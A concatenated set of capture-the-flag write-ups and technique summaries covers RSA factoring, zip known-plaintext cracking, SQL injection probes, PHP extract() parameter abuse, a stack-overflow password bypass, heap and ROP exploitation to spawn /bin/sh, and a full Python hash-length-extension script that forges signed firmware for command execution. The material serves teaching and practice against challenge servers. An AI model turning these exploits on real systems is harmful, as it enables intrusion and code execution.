Taking the first (also the only) uppercase letter or `^` as per the regex gives `WYVNM^U`, the MD5 of that is `0d4a1d9c7ec5a9568a6c2a1c4a765111` giving the flag `BTH_CTF{0d4a1d9c7ec5a9568a6c2a1c4a765111}` |
## The Everything Formula (500 pts) (Programming)``` UPDATE: DEFHIJLMT = 2324636527250855711654045402739135123153104358174121382343919777360708492307257872714852254581755075320090464060404824792426714102141626925472266487940544704900324249304336903063658330652784343118959580086291102988272270794873124507606281724133124589226762621058470871505367231718672666167199815971568619837207902846673891568864400968901859854611828508744376967831401619266835347761717745757125514454073688988108829922501307509317743255947382978772992________________________Flag is BTH_CTF{<answer>}. Answer is given if you get 10 in a row! Use this to control your answers:http://keelyhill.github.io/tuppers-formula/
$ nc challenge.ctf.bth.se 59209 ```This is about the self-referential [Tupper's formula](https://en.wikipedia.org/wiki/Tupper%27s_self-referential_formula). Luckily there are [scripts out there](https://gist.github.com/mrexcessive/1c22b23f04f9a3217d44) that calculate the Tupper number based on a png file allowing us to botch something like this together:
```python# Creates an image based on the requested text, calculates the tupper number based on that and uploads it.import socketimport osimport timefrom PIL import Image, ImageDraw, ImageFont
def netcat(hostname, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((hostname, port)) while 1: data = str(s.recv(1024)) if len(data)<10: pass else: print(data) try: text= data.split("tupper k corresponding to: ")[1].split("\\n")[0] print("Sending", text)
img = Image.new('RGB', (106, 17), color = 'white')
d = ImageDraw.Draw(img) # A bold monospace font thats as big as possible should be easy to read for the OCR that's presumably running on the other end fnt = ImageFont.truetype('/usr/share/fonts/TTF/DejaVuSansMono-Bold.ttf', 18) d.text((10,-3), text, font=fnt, fill=(0,0,0))
img.save('tupper.png') os.system("sync") time.sleep(0.2)
tupper = os.popen('python2 tupper.py read tupper.png').read() # Calls the script mentioned above s.send(str.encode(tupper)) except: pass print ("Connection closed.") s.close()
netcat("challenge.ctf.bth.se", 59209)```
After completing 10 challenges we get a tupper number back, which when visualised gives the flag. |
# Printer PaperMisc
## Challenge
We need to collect more of defund's math papers to gather evidence against him. See if you can find anything in the data packets we've intercepted from his printer.
Author: defund
## Hint
https://github.com/koenkooi/foo2zjs
## Solution
From the pcapng file open in Wireshark. We see these packets
Packet 2
sMFG:Hewlett-Packard;MDL:HP LaserJet P1505n;CMD:HBS,PJL,ACL,PCL;CLS:PRINTER;DES:HP LaserJet P1505n;FWVER:20100617;
Packet 9
%-12345X@PJL @PJL JOB NAME = "paper.pdf" DISPLAY = "15 wiwang paper.pdf" @PJL SET USERNAME = "wiwang" @PJL SET DENSITY=3 @PJL SET JAMRECOVERY=OFF @PJL SET ECONOMODE=OFF @PJL SET RET=MEDIUM %-12345X
There is a printer file after that between packet 15 and packet 27. I extracted it and concatted them together.
---
Searching online it is a HP XQX job.
- https://www.tachytelic.net/2010/10/hp-direct-pdf-printing-and-printer-tray-control/
The hint also shows us to the driver page. https://github.com/koenkooi/foo2zjs
FOO2XQX ------- foo2xqx converts Ghostscript pbmraw to monochrome XQX streams, for driving the HP LaserJet M1005 MFP and other XQX-based printers
Using XQX Decode, I got no useful informationhttp://manpages.ubuntu.com/manpages/xenial/man1/xqxdecode.1.html
# wget https://github.com/mikerr/foo2zjs/blob/master/xqxdecode # ./xqxdecode -o -h < pkt.bin 0: XQX_MAGIC, 0x5851582c (,XQX) 4: XQX_START_DOC(1), 7 items 12: XQXI_0x80000000, 84 (0x54) 24: XQXI_0x10000005, 1 (0x1) 36: XQXI_0x10000001, 0 (0x0) 48: XQXI_DMDUPLEX, 0 (0x0) 60: XQXI_0x10000000, 0 (0x0) 72: XQXI_0x10000003, 1 (0x1) 84: XQXI_END, -559038737 (0xdeadbeef) 96: XQX_START_PAGE(3), 15 items [Page 1] 104: XQXI_0x80000000, 180 (0xb4) 116: XQXI_0x20000005, 1 (0x1) 128: XQXI_DMDEFAULTSOURCE, 7 (0x7) 140: XQXI_DMMEDIATYPE, 1 (0x1) 152: XQXI_0x20000007, 1 (0x1) 164: XQXI_RESOLUTION_X, 600 (0x258) 176: XQXI_RESOLUTION_Y, 600 (0x258) 188: XQXI_RASTER_X, 4800 (0x12c0) 200: XQXI_RASTER_Y, 6360 (0x18d8) 212: XQXI_VIDEO_BPP, 1 (0x1) 224: XQXI_VIDEO_X, 4800 (0x12c0) 236: XQXI_VIDEO_Y, 6360 (0x18d8) 248: XQXI_ECONOMODE, 0 (0x0) 260: XQXI_DMPAPER, 1 (0x1) 272: XQXI_END, -559038737 (0xdeadbeef) 284: XQX_START_PLANE(5), 4 items 292: XQXI_0x80000000, 64 (0x40) 304: XQXI_0x40000000, 0 (0x0) 316: XQXI_BIH(0x40000002) DL = 0, D = 0, P = 1, - = 0, XY = 4800 x 6360 L0 = 128, MX = 0, MY = 0 Order = 3 ILEAVE SMID Options = 92 LRLTWO TPDON TPBON DPON 50 stripes, 0 layers, 1 planes
344: XQXI_END, -559038737 (0xdeadbeef) 356: XQX_JBIG(7), 51881 items 52245: XQX_END_PLANE(6), 0 items 52253: XQX_END_PAGE(4), 0 items 52261: XQX_END_DOC(2), 0 items Total size: 51881 bytes 0: \033%-12345X@PJL 14: @PJL RDYMSG DISPLAY = "" 39: @PJL EOJ 48: \033%-12345X
After which I decided to search around. I eventually found a software to render the print job (ZjStream protocol).
- https://www.prnwatch.com/ok-printer-viewer/
## Flag
actf{daniel_zhu_approves} |
`return-to-csu: A New Method to Bypass 64-bit Linux ASLR` BlackHat talk is a must-read (https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR.pdf).
There are two useful gadgets in all the binaries that are not being reported by ROP tools such as `ropper2`. |
Clicking on the link provided we a .dd file which has a really long name. So, i renamed the file as file.dd. binwalk on the .dd file to extract known file types.Looking at the strings list having a look at printable values after the “IEND” we get there 3 strings(“Spac”,”3ei2”,”herE”). Concatenating all the three strings we get the “Spac3ei2herE”string which is the password to unlock the RAR file to view the final.png. |
In this challenge, you can leak `stack canary` with brute force. The lesson-learned is that `stack canary` is generated at the program startup and is being re-used for all the function calls in that program. The interesting point is that it is also being reused in the `child process` when we use `fork`. Basically, you can brute force the stack canary one-byte at a time without the value being changed. |
This challenge has a `stack overflow` vulnerability, by which you can overwrite the return address. Then, using `return oriented programing (ROP)`, you are able to spawn `/bin/sh`. |
In `StarCTF 2018 - babystack` challenge, there is a `stack overflow` vulnerability by which we can leak `atol@GOT` address to find `libc` base address, and jump to `one gadget` in order to execute `execve("/bin/sh")`. The interesting part is replacing the `stack canary` with the correct value in order to replace the `return address` without crashing the program.
Basically, when using `pthread`, the `Thread Local Storage (TLS)` will be located somewhere near the thread stack, so it can be overwritten in case of a `stack overflow` vulnerability. In this challenge, we can replace the `stack_guard` attribute in `TLS` (http://www.openwall.com/lists/oss-security/2018/02/27/5) with an arbitrary value in order to bypass `canary` protection. This is an interesting `ROP` challenge to learn bypassing protections like `NX`, `Canary`, `Full RELRO`, and `ASLR` in `x86_64` binaries. |
In `CodeGate 2018 - SuperMarimo` challenge, there is a `heap overflow` vulnerability by which we can leak `malloc@GOT` address in order to find `libc` base address. Using the same vulnerability, we can overwrite `malloc@GOT` (since `Full RELRO` is not enabled) with `One Gadget` address to execute `execve("/bin/sh")`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, and `ASLR` in `x86_64` binaries. |
There is a `stack overflow` vulnerability in this challenge, by which you can leak `read@GOT`, find `glibc` base address, and jump to `execve` found by `one gadget` using `return oriented programming (ROP)` technique. |
This was classic RSA as well but with 2 small twists: 1) The flag was not in typical format2) The original message was padded in such a way that decoding it as hex gives some weird characters
n was easily factored in this case, p and q being quite close. From there it is trivial to get the message as an int and encode as hex. After that you had to add a leading ```0``` to make sure it's not an odd lenght string. Decoding that just gave weird characters but I could see that the end of the message looked suspiciously like base64. The string was separated by ```\x00``` which made the rest easy.
Full script:
```from Crypto.PublicKey import RSAfrom Arithmetic import *
k=RSA.importKey(open('pub.key').read())
c = open('enc.message','rb').read()
p = '12779 877140 635552 275193 974526 927174 906313 992988 726945 426212 616053 383820 179306 398832 891367 199026 816638 983953 765799 977121 840616 466620 283861 630627 224899 026453'.replace(' ','')q = '12779 877140 635552 275193 974526 927174 906313 992988 726945 426212 616053 383820 179306 398832 891367 199026 816638 983953 765799 977121 840616 466620 283861 630627 224899 027521'.replace(' ','')
p = int(p)q = int(q)
n = p*q
phi = (p-1)*(q-1)
d = modinv(k.e,phi)
c_int = int(c.encode('hex'),16)
mess = pow(c_int,d,n)
mess = hex(mess)[2:-1]mess = '0' + messmess = mess.decode('hex')
mess = mess.split('\x00')
print mess[-1].strip('\n').decode('base64')``` |
# Just LettersMisc
## Challenge
Hope you’ve learned the alphabet!
nc misc.2019.chall.actf.co 19600
Author: derekthesnake
https://esolangs.org/wiki/AlphaBeta
## Solution
It is an Esolang with instructions as alphabets.
When we connect to the server, we need to read a flag at memory zero.
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
Let's refer to the C++ interpreter, this is because the provided page is not so detailed.
https://github.com/TryItOnline/alphabeta/blob/master/AB.cpp
I will copy out the relevant instructions which we need to print the flag
#### Instructions
// Set memory pointer to start, then put it // into Reg3 to be printed out to stdout
if ( Program[Position] == "Y" ) { Register4[Mode] = 0 ;} if ( Program[Position] == "G" ) { Register1 = Memory[Register4[0]] ;} if ( Program[Position] == "C" ) { Register3 = Register1 ;} if ( Program[Position] == "L" ) { cout << char(Register3) ;} if ( Program[Position] == "S" ) { Register4[Mode] += 1 ;}
So we have YGCLS to print the first char
To print subsequent chars, we can repeat GCLS.
YGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLS
It works, but it ain't fun and it is a hacky solution.
$ nc misc.2019.chall.actf.co 19600 Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line: > YGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLS actf{esolangs_sure_are_fun!}
---
Alternatively, let's do a loop
// Set position pointer to start at index 1 of YCGLS = C
if ( Program[Position] == "Z" ) { Mode = ( Mode + 1 ) % 2 ;} if ( Program[Position] == "Y" ) { Register4[Mode] = 0 ;} if ( Program[Position] == "S" ) { Register4[Mode] += 1 ;} if ( Program[Position] == "Z" ) { Mode = ( Mode + 1 ) % 2 ;}
// Loop until a null char is reached
if ( Program[Position] == "y" ) { Register2 = 0 ;} if ( Program[Position] == "O" ) { if ( Register1 != Register2 ) NewPosition = Register4[1];}
We have the payloads...
Effectively, our code will loop and print each char, starting from memory zero, until a null byte is reached
Y # set memory pointer to zero CGL # print the char at current memory [index 1] S # increment to next memory pointer ZYSZ # Loop: setup by making position pointer to index 1 yO # Loop: jump to position pointer of index 1 if current char is not a null byte.
Put to server
$ nc misc.2019.chall.actf.co 19600 Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line: > YCGLSZYSZyO actf{esolangs_sure_are_fun!}
## Flag
actf{esolangs_sure_are_fun!} |
This challenge contains a `heap overflow` vulnerability. Lesson learned is that if the chunk being allocated is `MMAPED`, the content will not be zero out when using `calloc`. So, by using the `overflow` vulnerability, we can set `IS_MMAPED` bit of the target chunk in order to leak a libc address, and then launch the `fastbin attack` in order to overwrite `__malloc_hook` with `one gadget` address. This is a good challenge to understand how to exploit `x86_64` binaries with `Full RELRO`, `Canary`, `NX`, `PIE`, and `ASLR` protections. |
In this challenge, there is a `double free` vulnerability by which we can mount the `fastbin dup` attack to get an arbitrary write into `GOT` table. Then, using a `format string` attack, we can leak a `libc` address, and finally execute `system("/bin/sh")` by overwriting a `GOT` entry. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, and `ASLR` in `x86_64` binaries. |
Source pt1--------------```Challenge:ssh [email protected] -p 31337 (or 31338 or 31339). Password is sourcelocker
Here is your babybuff.```
Never had any experience with pwn without having a binary file (Also my first successful pwn challenge), however, I figured it worked out the same way as most binary exploitation did.When we write a couple of passwords to the file, it always seem to show "Pass auth failed.", and close out of the shell.
However, when we type spam more characters, such as:```AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA```
The only output seems to be "Connection to source.wpictf.xyz closed." So that seemed suspicious because we want a ``` Pasword auth failed ```, which felt like an overflow error.So I decided to brute-force my way in by determining the right amount of ```A```'s I should be writing until I make my way in, which were 111 A's, or ```AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA```
Which outputs```#define _GNU_SOURCE#include <stdio.h>#include <unistd.h>
#include <stdlib.h>#include <string.h>
//compiled with gcc source.c -o source -fno-stack-protector -no-pie//gcc (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0
//flag for source1 is WPI{Typos_are_GrEaT!}int getpw(void){ int res = 0; char pw[100];
fgets(pw, 0x100, stdin); *strchrnul(pw, '\n') = 0; if(!strcmp(pw, getenv("SOURCE1_PW"))) res = 1; return res;}
char *lesscmd[] = {"less", "source.c", 0};int main(void){ setenv("LESSSECURE", "1", 1); printf("Enter the password to get access to https://www.imdb.com/title/tt0945513/\n"); if(!getpw()){ printf("Pasword auth failed\nexiting\n"); return 1; }
execvp(lesscmd[0], lesscmd); return 0}```Thus, our flag is ``` WPI{Typos_are_GrEaT!} ```
-------------
Strings-------------```Challenge:A handy tool for your RE efforts!
made by AWG
File from https://drive.google.com/open?id=1Hr30UBpwKEbt5UF4w2GzfXnVDXoCRVIs```
When executing the program, it worked the same way as the ```strings``` command would do. But what if we strings the file? So I tried to take a look at the file's functions.
Ooh!, so our flag is ```WPI{What_do_you_mean_I_SEE_AHH_SKI}```
-------------
Jocipher-------------```Challenge:Decrypt PIY{zsxh-sqrvufwh-nfgl} to get the flag!
made by Samantha Comeau
https://drive.google.com/open?id=1MKcNvHuFCo8vsHZgKOOT0vWddfIzRFk1```
After getting the required file, we were supposed to decrypt ```PIY{zsxh-sqrvufwh-nfgl}``` to supposedly get out flag. I wrote a small bash script to retrieve the flag.
```# !/bin/bash
for i in {1..100}do ./jocipher.pyc --string "PIY{zsxh-sqrvufwh-nfgl}" --shift $i --decode | grep WPIdone```
``` ./jocipher.pyc --string "PIY{zsxh-sqrvufwh-nfgl}" --shift 48 --decode```
Where our reasonable output is ```WPI{xkcd-keyboard-mash}```
------------
Webinspect------------```Challenge:Something is lurking at https://www.wpictf.xyz```
They redirect you to the site. where if you open up the source code, you'll find
``` WPI{Inspect0r_Gadget} ```
------------
Getaflag------------```Challenge:Come on down and get your flag, all you have to do is enter the correct password ...
http://getaflag.wpictf.xyz:31337/ (or 31338 or 31339)
made by godeva```
The site starts with 
I started with some simple SQL injections such as ``` ' OR 1=1-- ``` or ``` ' OR 1=1# ```, but I didn't get anything out of that. However, after I inspected the source code, on the comments, it showed ``` SGV5IEdvdXRoYW0sIGRvbid0IGZvcmdldCB0byBibG9jayAvYXV0aC5waHAgYWZ0ZXIgeW91IHVwbG9hZCB0aGlzIGNoYWxsZW5nZSA7KQ== ```, which in base64, translates to``` Hey Goutham, don't forget to block /auth.php after you upload this challenge ;) ```, aha! so when I went to http://getaflag.wpictf.xyz:31337/auth.php it gave me this psudocode```
// Pseudocode $passcode = '???'; $flag = '????'
extract($_GET); if (($input is detected)) { if ($input === get_contents($passcode)) { return $flag } else { echo "Invalid ... Please try again!" } }```
Because I didn't know to much about PHP, but after reading some functions, I [stumbled](https://stackoverflow.com/questions/829407/what-is-so-wrong-with-extract) on how the extract function is very vulnerable due to how it can replace an element in an array. So after experimenting and having a small knowledge of address object exploits, I came up to an idea since ```$input === get_contents($passcode)```, and the address bar shows the query, I changed input to a null value and also wrote a passcode = null, resulting in ```http://getaflag.wpictf.xyz:31337/?input=&passcode=null```. and our result should have given us
However, you get rick roll'd after seeing clicking on the link, so when I inspected the source code again, it gave me the flag!
```WPI{1_l0v3_PHP}```
------------Chirp------------```Challenge:made by Justo and siege
file from https://drive.google.com/open?id=1lcdC9qVBKtSfxOPWLbWd8kAYnPEoSZQb```
For this challenge, you had to look at a photo of this bird
At first, I thought it was steganography, but I later realized that recon was not supposed to be a steg challenge. So after connecting the title of the challenge and the picture of the bird, I found that the image is depicting an image of Twitter. I went to the sponsor's Twitter page and got the flag.
``` WPI{sp0nsored_by_si3ge} ```
------------
|
# TJCTF 2019 "Easy as RSA" writeup
## check problem
It seems a simple RSA.
```n: 379557705825593928168388035830440307401877224401739990998883e: 65537c: 29031324384546867512310480993891916222287719490566042302485```
## solve problem
### Factoring N
I use Msieve. Msieve is a C library implementing a suite of algorithms to factor large integers.
<https://sourceforge.net/projects/msieve/>
I setup msieve on ubuntu 18.04.
```$ sudo apt install -y build-essential libgmp3-dev zlib1g-dev libecm-dev$ wget https://jaist.dl.sourceforge.net/project/msieve/msieve/Msieve%20v1.53/msieve153_src.tar.gz$ tar xvf msieve153_src.tar.gz$ cd msieve-1.53$ make all ECM=1```
```$ ./msieve -q 379557705825593928168388035830440307401877224401739990998883
379557705825593928168388035830440307401877224401739990998883p30: 564819669946735512444543556507p30: 671998030559713968361666935769```
### Decrypt RSA
```pythonfrom Crypto.Util.number import *from math import gcd
n = 379557705825593928168388035830440307401877224401739990998883e = 65537c = 29031324384546867512310480993891916222287719490566042302485
p = 564819669946735512444543556507q = 671998030559713968361666935769
def lcm(x, y): return (x * y) // gcd(x, y)
def ex_euclid(x, y): c0, c1 = x, y a0, a1 = 1, 0 b0, b1 = 0, 1
while c1 != 0: m = c0 % c1 q = c0 // c1
c0, c1 = c1, m a0, a1 = a1, (a0 - q * a1) b0, b1 = b1, (b0 - q * b1)
return a0, b0
t = lcm(p - 1, q - 1)a, b = ex_euclid(e, t)d = a % t
m = pow(c, d, n)
print(long_to_bytes(m))```
```b'tjctf{RSA_2_3asy}'```
I get flag. |
`note` is a very good challenge to understand how we can exploit a `Off-By-One` bug where the program is using `scanf`. Basically, you can overwrite the `least significant byte (LSB)` of the `saved rbp` with a null byte, so you can control the stack frame for the following function calls. |
In `SECCON 2017 - election` challenge, there is an `off-by-one` (`null byte poisoning`, `null byte overflow`) vulnerability that gives us `arbitrary write`. Using this vulnerability, we can find `heap` base address by manipulating heap chunks and `libc` base address by leaking `read@GOT` address, and finally overwrite `__malloc_hook` with `one gadget` in order to execute `/bin/sh`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, `Full RELRO`, and `ASLR` in `x86_64` binaries. |
# Potato
This challenge was made by my good friend [flawwan](https://github.com/flawwan/) and me. Here's how we thought this challenge should be solved. Shoutout to `D Team` for being the only team who solved it!
### Summary
* Uploaded `sh` files are executed if signature matches* Example file and signature are downloadable* Signature is calculated: * `sha512( concatenate($SALT, $filecontents) )`* Unknown salt and salt length* Signature can be predicted if: * The new data is appended to original data * The new data will be prepended by junk, but the last row of the original file is a comment, so the junk will be commented out* Solution: guess the salt length and prepend your payload with a newline. * A hint was later released: "9 is a good number". This was the salt length.
### WalkthroughWe are given a link to a router configuration portal by "Potato Router Systems"
The login is admin:admin. This was released as a hint.Once logged in, we can download the running "firmware" and its signature. We are also able to upload new "firmware", provided that we have a signature for it.
The contents of the original `firmware.bin`:``` echo 'Welcome to super secure router alpha 0.01'#Provide a neat motd for the user.
#TODO Add some security checks. This script should be secure. i dunno```Seems like the site runs this file to provide the welcome message.
**Note** for later: the last line of the file is a comment (`#`) and does not end with a newline.
The `firmware.sig` is just a sha512 hash:```c41e06714618b4248a4efa4980a67d2f0b2bb0caaeb7f4240b6e8e11d1d1b6461182713b57d405209cff46ec19c0c7fe931b374e63e822cf8ea933c51b33d760```
We also get to see the PHP used for this upload page. Here, we can see how the signature is calculated. The unknown salt is prepended to the binary contents, and then the sha512 signature is calculated and compared to the uploaded signature. If it's a match, the original firmware is overwritten by the new one.
### SolutionSince we have the original data and its signature, we can use this to append data and predict the signature, provided that we know or can guess the length of `$SALT`. There are multiple different tools for this - In this case we use [HashPump](https://github.com/bwall/HashPump).
```>>> import hashpumpy>>> help(hashpumpy.hashpump)Help on built-in function hashpump in module hashpumpy:
hashpump(...) hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message)
Arguments: hexdigest(str): Hex-encoded result of hashing key + original_data. original_data(str): Known data used to get the hash result hexdigest. data_to_add(str): Data to append key_length(int): Length of unknown data prepended to the hash
Returns: A tuple containing the new hex digest and the new message.>>> hashpumpy.hashpump('ffffffff', 'original_data', 'data_to_add', len('KEYKEYKEY'))('e3c4a05f', 'original_datadata_to_add')```
For this to work however, the extension attack must add junk data inbetween the original data and the appended payload. Remember the note from earlier? The last line of the original file is commented out, so the junk data will also be commented out. If our payload starts with a newline, our payload file will be both valid and executed.
So we can create a script which guesses the salt length by incrementing until we no longer get "Bad signature...":#### exploit.py```python#!/usr/bin/python3
import sysimport requestsfrom hashpumpy import hashpumpfrom time import sleep
def forge_stuff(salt_length): with open("firmware.bin", "r") as fh: original_data = fh.read() with open("firmware.sig", "r") as fh: original_sig = fh.read()
data_to_add = "\necho hej"
result = hashpump(original_sig, original_data, data_to_add, salt_length)
with open("payload.sig", "w") as fh: fh.write(result[0])
with open("payload.bin", "wb") as fh: fh.write(result[1])
login={"username":"admin", "password":"admin", "submit":""}s = requests.Session() r = s.post("http://localhost:58888/login.php", data=login)i=1
while "Bad" in r.text: forge_stuff(i) with open("payload.sig", "rb") as signature: with open("payload.bin", "rb") as payload: files={ "sig": signature, "bin" : payload} r=s.post("http://localhost:58888/update.php", data={"submit":""}, files=files) sleep(0.1) i+=1
print(r.text)print("\n\n\nSalt length: %s" % str(i-1))```
And we find that the salt length is 9.```$ ./exploit.py ...<omitted>...
Salt length: 9```
Now we have command execution and are able to `cat /flag`.
 |
It uses the CBC-MAC protocol.We can cause a collision by repeating the message blocks and changing the IV.
[writeup](https://ptr-yudai.hatenablog.com/entry/2019/04/25/141422#Crypto-220pts-Mac-Forgery) |
## Challenge Description:I found this flag somewhere when I was taking a walk, but it seems to have been encrypted with this [Really Secure Algorithm](https://github.com/TheEquus/angstromCTF2019-Writeups/blob/master/Crypto/really_secure_algorithm.txt)!
## Solution:So we are given a text file containing p, q, e and c. This is a simple RSA encryption, and we must decrypt c, where c is the ciphertext.
First I found n = (p \* q) and the totient of n (which I named phi in my code) to be (p - 1) \* (q - 1).Then found d, the modular multiplicative inverse of e mod phi like this:```from Crypto.Util.number import inversed = inverse(e, phi)```
Finally, we can get message by doing:```message = pow(c, d, n)```Converting the message to hex, then back to ascii yields us the flag:`actf{really_securent_algorithm}`
My python script can be found [here](https://github.com/TheEquus/angstromCTF2019-Writeups/blob/master/Crypto/RSA.py). |
# Otaku
We are given two files: `Anime_intro.doc` and `flag.zip`. The zip file contains two encrypted files: `flag.png` and `last words.txt`. On the challenge page, there is a hint stating that `The txt is GBK encoding.`.
Testing out a few common passwords, plus words from the document, doesn't seem to yield anything worthwhile. But when we look closer in the document, there is some extra text hidden inside one of the striked-out sections. That text turns out to be the "real" last words of some anime character, and the length (431 bytes) almost matches the length of `last words.txt` (432 bytes). However, if we store the text as GBK encoding (as per the hint), one of the "\`" characters now take up two bytes! If these files are equal, we can mount a known-plaintext attack on the zip archive itself, using Biham and Kocher's attack method. Calculating the CRC of our known plaintext, we see that it matches the CRC of `last words.txt`. Now the important part is to compress our known plain-text without a password, and **use the same compression method as the original archive**. Fortunately, they used WinRar for this, and it has embedded the string `winrar 5.70 beta 2` near the end of the file. I couldn't find the exact beta version for download, but I found 5.70, which turned out to be good enough. I zipped down the text snippet I found, saved in GBK encoding, using default settings.
So now we have have two zip files: One encrypted with two files in it, and one unencrypted with an exact replica of the txt file from the first archive inside it. Now we can run [bkcrack](https://github.com/kimci86/bkcrack) against it like so: `./bkcrack -C flag.zip -c "last words.txt" -P knownplain.zip -p "last words.txt -e"` which tells bkcrack to target the file `last words.txt` inside `flag.zip` and a file with the same name in `knownplain.zip` for its attack. The last flag also asks it to continue searching for keys exhaustively. After running for a while, we get two key candidates. Unfortunately, I wasn't able to actually decrypt the zip file with any of them using bkcrack, but I could re-use the key `106d3a93 6c0cc013 338e8d6f` with [pkcrack](https://github.com/keyunluo/pkcrack) to recover `flag.png`. But of course, the image doesn't straight out tell you the flag. Time for steganography! Fortunately, it's a PNG, and `zsteg` is able to recover the flag immediately: `*ctf{vI0l3t_Ev3rg@RdeN}`
# Sokoban
We are given a server to connect to, with the information that we need to beat 25 levels in less than 60 seconds. Upon connection, we are greeted with the following message:```Welcome to this Sokoban game!(8:wall,4:human,2:box,1:destination)tips:more than one box88888888888000000008804201000880000000088888888888tell me how to move boxes to their destinations in least steps.(By wasd operations):```
The first level is very easy, and completely static, and basically just serves as a sanity check for your event loop. The rest of the challenges are seemingly randomly generated and require quite a lot of moves. In addition to that, they are asking us for the **move optimal** solution to each level, i.e. the solution with the minimal amount of move operations. My solution can be found in `sokoban.cpp` and `sokoban.py`, but the main methodology was just to find a solver online that used BFS (Breadth-First Search), as their solutions will always be move optimal. There were quite a lot of fancy A\* solutions with meet-in-the-middle optimizations and such, but they rarely stumbled upon the move optimal solution. I then tweaked this solver to read input from a file, and made the Python script translate the board, write it to a file, call the solver, and then translate the resulting moves to `wasd`. (At this point I had multiple tools that understood a more common symbol format, so it made sense to keep that translation instead of hard-coding it in cpp.)
The script isn't extremely fast, but unless you stumble over a lot of solutions that have a really long solution, it should finish in time: `*ctf{Oh!666_What_a_powerful_algorithm!$_$}` |
This was very straightforwards RSA. n is easily factored (I used the ECM factoring applet [here](https://www.alpertron.com.ar/ECM.HTM). Then just textbook decrypt.
```from Arithmetic import *
p = '338 924256 021210 389725 168429 375903 627261'.replace(' ','')q = '338 924256 021210 389725 168429 375903 627349'.replace(' ','')
p = int(p)q = int(q)
c = 102692755691755898230412269602025019920938225158332080093559205660414585058354
n = p*q
e = 113
phi = (p-1)*(q-1)d = modinv(e,phi)
print hex(pow(c,d,n))[2:-1].decode('hex')``` |
In `BSidesDelhi 2018 - data_bank` challenge, there is a `use after free (UAF)` vulnerability which leads to `tcache poisoning`. Using this, we leak a `libc` address to de-randomize `ASLR`, and then put our `fake chunk` address into the `tcache` bin using `tcache poisoning` attack. As a result, we can force `malloc` to return our `fake chunk` before `__malloc_hook`, so we can overwrite `__malloc_hook` with `one gadget`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `PIE`, `Canary`, `Full RELRO`, and `ASLR` in `x86_64` binaries in presence of `tcache`. |
## Time is of the essence (500 pts) (Programming)
```Crack the password to get the flag. Given a 32-bit x86 ELF binary.```
Running the binary gives us:
```./time_is_of_the_essence Usage: ./time_is_of_the_essence <password>```
Opening the file in IDA reveals that the binary is compiled using [MoVfuscator](https://github.com/xoreaxeaxeax/movfuscator), which makes it hard to reverse.
The name of the challenge does however imply a side-channel attack by timing the execution of the program to bruteforce the password. However, our results from timing execution were not consistent so we tried counting the amount of syscalls that were made instead using `strace` which gave us consistent results and gave us the password `pat1enc3_p1eaz3`
```./time_is_of_the_essence pat1enc3_p1eaz3Well done! Flag is BTH_CTF{th1s-iz-y0ur-t1M3-t0-shin3-B4By}```
```pythonimport stringimport sysfrom subprocess import PIPE, Popen
result = ''for i in range(0, 20): max_syscalls = 0 r = '' for c in string.printable: t = 0 pipe = Popen('strace ./time_is_of_the_essence '+ result + c, shell=True, stdout=PIPE, stderr=PIPE) _, stderr = pipe.communicate() syscalls = len(stderr.split('\n'))
if syscalls > max_syscalls: max_syscalls = syscalls r = c
result += r
sys.stdout.write(r) sys.stdout.flush()``` |
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